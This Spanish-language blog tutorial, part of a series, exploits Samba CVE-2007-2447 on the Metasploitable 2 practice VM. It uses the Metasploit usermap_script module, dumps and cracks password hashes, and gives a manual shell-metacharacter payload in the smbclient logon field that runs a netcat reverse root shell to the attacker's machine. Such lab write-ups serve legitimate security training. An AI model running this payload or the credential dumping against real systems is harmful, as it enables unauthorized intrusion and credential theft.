En esta entrada Metasploitable 2 – Parte 3 seguiré explotando las vulnerabilidades de este entorno de pruebas. En anteriores entradas exploté las vulnerabilidades de los puertos 21 y 22 (FTP y SSH) y la vulnerabilidad del puerto 23 (Telnet). En este ejercicio explotaré los puertos 139 y 445 (Samba).
Samba.
Samba es un protocolo cliente-servidor que permite a los equipos con sistemas Unix (como GNU/Linux, y MacOS) compartir recursos en red (directorios, archivos, impresoras, etc) con equipos Windows y viceversa.
Este protocolo fue creado en 1992 por el programador Andrew Tridgell. Tridgell requería acceder a recursos que estaban en Unix desde un PC con MS-DOS, por lo que escribió un sniffer de paquetes para luego realizar ingenieria inversa al protocolo SMB/CIFS (usado para compartir archivos en redes Windows).
Para este ejercicio en particular explotaré el daemon smbd (Server Message Block Daemon) el cual es el encargado de administrar la compartición de archivos e impresoras y, además, realiza la autenticación de clientes.
Los puertos predeterminados en los que el servidor escucha el tráfico SMB son los puertos TCP 139 y 445. Samba empezó usar desde un inicio el puerto TCP 139 (SMB sobre NetBIOS) y luego cambio a TCP 445 (SMB sobre TCP/IP).
En la primera parte de esta saga vimos que nmap nos arrojó lo siguiente con respecto a los puertos 139 y 445:
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
Ahora debemos buscar las vulnerabilidades que tiene ese servicio (Samba smbd 3). Sin mayor esfuerzo encuentro la vulnerabilidad CVE 2007-2447. El reporte de esta vulnerabilidad nos dice que:
[…] este fallo presente en en Samba 3.0.0 – 3.0.25 permite a atacantes remotos ejecutar comandos arbitrarios a través de metacaracteres de shell que involucran la (1) función SamrChangePassword, cuando la opción smb.conf «script de mapa de nombre de usuario» está habilitada, y permite usuarios remotos autenticados para ejecutar comandos a través de metacaracteres de shell que involucran otras funciones de MS-RPC en (2) la impresora remota y (3) la administración de archivos compartidos […]
Usando Metasploit.
La primera forma de explotar esta vulnerabilidad será usando Metasploit. Abrimos una terminal y llamamos a la herramienta con el comando msfconsole. Cuando haya cargado, buscaremos lo que necesitamos con el comando search samba. Vemos que nos arroja muchísima información. La línea que nos interesa es:
exploit/multi/samba/usermap_script
Escribimos el comando use exploit/multi/samba/usermap_script. Ahora, debemos darle los datos de la máquina a atacar. Para ello debemos indicarle a Metasploit la dirección de la víctima. Esto lo hacemos con la orden set RHOSTS 192.168.1.4. OJO Güevones: ustedes pondrán la dirección de su máquina Metasploitable 2. Revisamos que LHOST tenga nuestra dirección y que RPORT apunte al 139. Si todo está bien, lanzamos el ataque con la orden exploit.
Si el ataque fue exitoso veremos algo así:
[*] Started reverse TCP handler on 192.168.1.110:4444
[*] Command shell session 1 opened (192.168.1.110:4444 -> 192.168.1.4:49376) at 2024-07-29 11:11:34 -0500
Desde luego ustedes lo verán con las direcciones de sus máquinas locales y remotas, respectivamente. Para comprobarlo, escribimos el comando id y la salida deberá ser: uid=0(root) gid=0(root). Y eso es todo. Entramos y somos root. Si escribimos el comando ls veremos los directorios de la máquina remota, entre ellos la carpeta zfolder que creamos en el primer ejercicio.
Ahora vamos a volcar los usuarios y sus respectivos hashes. Damos CTRL + z. La terminal nos preguntará: Background session 1? [y/N]. Escribimos y y damos enter. Ya debemos estar de vuelta en nuestra máquina. Para comprobar que la sesión remota siga activa usamos el comando sessions -l. La salida tendrá que ser:
Active sessions
===============
Id Name Type Information Connection
— —- —- ———– ———-
1 shell cmd/unix 192.168.1.110:4444 -> 192.168.1.4:49376 (192.168.1.4)
Repito: ustedes lo verán con sus direcciones IP. Para volcar los usuarios y sus respectivos hashes use usaremos hashdump: use post/linux/gather/hashdump. Acto seguido listaremos las opciones: show options. Veremos que en la salida el campo Current Setting está vacío. Le indicamos que vamos a trabajar con la sesión vigente con el comando set SESSION 1 y lanzamos el volcado con: exploit. El resultado será algo así:
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /home/zcrunch/.msf4/loot/20240729112928_default_192.168.1.4_linux.hashes_472465.txt
[*] Post module execution completed
Ahora tenemos los nombres de usuarios y sus respectivos hashes. En la penúltima línea vemos que se creó un archivo con los datos volcados. Lo que podemos hacer ahora es usar una herramienta o servicio que desencripte los hashes. Puede ser John que viene en nuestro Kali Linux o un servicio en línea como este. En cualquier caso el resultado será el mismo:
$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:123456789
$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:batman
$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:user
$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:service
$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:postgres
$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:msfadmin
Ya obtuvimos las contraseñas. El usuario klog usa el password 123456789; el usuario sys usa el password batman etcétera. Viendo como termina cada hash sabremos a cuál usuario pertenece.
Usando smbclient y Netcat.
smbclient es similar a FTP. Es una herramienta útil para probar la conectividad de un recurso compartido de Windows. Se puede usar para transferir archivos o para ver el nombre del recurso compartido. Para llamar la herramienta y ver sus opciones teclearemos smbclient -h. La opción que nos interesa es -L o --list=HOST. El comando en nuestro caso sería: smbclient -L //192.168.1.4. Cada uno pondrá la IP de su máquina objetivo, obvio. La terminal nos mostrará algo así:
Como ahora sabemos que el directorio tmp está presente, vamos a intentar realizar una conexión inversa usando Netcat. En una nueva terminal, escribiremos el comando: nc -lvp 4444. En respuesta, Netcat nos dirá que se encuentra escuchando (listening on [any] 4444 …). Volvemos a la terminal anterior y escribimos el comando: smbclient //192.168.1.4/tmp, me pedirá una contraseña pero doy enter y ya está. Ahora veré que la conexión anónima se ha realizado con éxito (Anonymous login successful). Ahora escribimos el comando help para ver qué opciones tenemos:
En la terminal izquierda vemos que tenemos disponible la opción logon. Esa es la que vamos a usar para nuestra conexión con Netcat. El comando a usar será: logon "/=`nc 192.168.1.110 4444 -e /bin/bash`". OJO: ustedes tendrán que poner la IP de su máquina local. El password que nos pide es el de nuestra máquina local. Cuando se lo damos, vemos que en la terminal que corre Netcat (la derecha) nos sale algo así: connect to [192.168.1.110] from (UNKNOWN) [192.168.1.4] 33103.
Para comprobar, en nuestra terminal de Netcat escribimos el comando: id. Si la respuesta es uid=0(root) gid=0(root), quiere decir que estamos adentro y tenemos privilegios. Ahora podemos usar el comando ls -l para listar los archivos de la víctima y vemos que aparece el directorio zfolder que creamos en otro ejercicio.
Y eso es todo por ahora. Espero les sirva. 😉
